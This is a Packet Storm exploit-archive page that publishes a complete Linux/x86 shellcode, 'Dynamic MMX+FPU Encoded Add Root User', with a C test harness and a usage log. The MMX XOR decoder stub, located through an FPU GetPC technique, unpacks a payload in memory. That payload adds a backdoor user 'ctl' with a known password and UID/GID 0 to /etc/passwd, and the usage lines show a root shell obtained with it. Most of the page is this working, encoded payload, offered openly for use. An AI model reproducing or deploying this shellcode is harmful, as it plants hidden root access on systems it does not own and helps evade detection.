exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Dynamic MMX+FPU Encoded Add Root User Shellcode

Linux/x86 Dynamic MMX+FPU Encoded Add Root User Shellcode
Posted Apr 24, 2020
Authored by Bobby Cooke

155 bytes small Linux/x86 shellcode that has a MMX stub decoder that dynamically decodes the payload in memory. The FPU GetPC technique is used to determine the offset from EIP dynamically in running memory. Once decoded. this shellcode adds the user 'ctl' with the password 'ctl' to the /etc/passwd file with the UID and GID of 0 (root). This shellcode uses legacy passwd functionality. Therefore the /etc/shadow file does not need to be accessed or modified.

tags | x86, root, shellcode
systems | linux
SHA-256 | d72edd6daaf006feaf82398a3b67d4281ff9258ee56eeaedca56c7d0ab3e4980

Linux/x86 Dynamic MMX+FPU Encoded Add Root User Shellcode

Change Mirror Download
// Shellcode Title:  Linux/x86 - Dynamic MMX+FPU Encoded Add Root User Shellcode (155 bytes)
// Shellcode Author: Bobby Cooke
// Date: 2020-04-24
// Description: This shellcode has a MMX stub decoder that dynamically decodes the payload in memory. The FPU GetPC technique is used to determine the offset from EIP dynamically in running memory. Once decoded. this shellcode adds the user 'ctl' with the password 'ctl' to the /etc/passwd file; with the UID & GID of 0 (root). This shellcode uses legacy passwd functionality. Therefor the /etc/shadow file does not need to be accessed or modified.
// Usage:
// root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
// root# cat /etc/passwd | grep 0:0
// root:x:0:0:root:/root:/bin/bash
// root# ./shellcode
// Shellcode Length: 155
// root# cat /etc/passwd | grep 0:0
// root:x:0:0:root:/root:/bin/bash
// ctl:NNwZ8D1QjVy3Y:0:0::/:/bin//sh
// root# exit
// user$ su ctl
// Password: ctl
// # id
// uid=0(root) gid=0(root) groups=0(root)

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xd9\xee" // fldz ; x87 FPU - Get EIP Technique
"\x9b\xd9\x74\x24\xf4" // fstenv [esp -0xc] ; push EIP at fldz instr to stack
"\x5f" // pop edi ; pop EIP fldz location to EDI
"\x83\xc7\x28" //add edi, 0x28 ; set EDI to memory location of mmx_XOR
"\x0f\x6f\x1f" // movq mm3, qword [edi]; use instructions located here as the XOR decoder
"\x8d\x77\x08" // lea esi, [edi +8] ; set ESI to payload location
"\x31\xc9" // xor ecx, ecx ; clear ECX
"\x41" // inc ecx ; inc ECX to 1
// decode:
"\x0f\x6f\x2e" // movq mm5, qword [esi] ; move 8 bytes of encoded payload to MM3
"\x0f\xef\xeb" // pxor mm5, mm3 ; XOR MM5 with MM3
"\x0f\x7f\x2e" // movq qword [esi], mm5 ; overwrite 8 bytes of encoded payload with decoded
"\x83\xc6\x08" // add esi, 0x8 ; move ESI to the next 8 encoded bytes
"\x83\xf9\x0e" // cmp ecx, 0xe ; is payload decoded?
"\x74\x0b" // je payload ; if decoded, execute payload
"\x41" // inc ecx ; if not, decode next 8 byte
"\xeb\xec" // jmp short decode ; jump to start of decode loop
"\xcc\xee\xd9\xee\xcc\xd9\xd9\xcc" // MMX Decoder Key
// encodedPayload:
// Add Root User to /etc/passwd - user:ctl & pass:ctl
"\x27\xc9\x87\xdf\x0c\x89\x54\xd8\xe8\x11\xaf\xc4\x33\xaf\xff\x41"
"\xc0\xca\x51\xa8\xce\x51\x9f\xf1\x9c\x63\x87\xed\x9f\x54\xc7\x9f"
"\x45\x25\x8a\x67\x2d\x69\xd2\x01\x4c\x06\x0d\x11\x33\x26\xf4\xaf"
"\xef\xc1\xbb\x87\xa2\xf6\xbc\xaf\xa4\x81\xf9\x8d\xb8\xb5\xe3\x82"
"\x82\x99\x83\xd6\x88\xe8\x88\xa6\x9a\x97\xea\xb7\xf6\xe9\xe3\xfc"
"\xf6\xd4\xf6\xd4\xe3\xbb\xb0\xa2\xe3\xc1\xaa\x86\xec\xe7\xe7\xec"
"\xe3\x8b\xad\x8d\xe3\xa9\xb8\xbf\xbf\x99\xbd";
int main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    29 Files
  • 21
    Aug 21st
    42 Files
  • 22
    Aug 22nd
    26 Files
  • 23
    Aug 23rd
    25 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close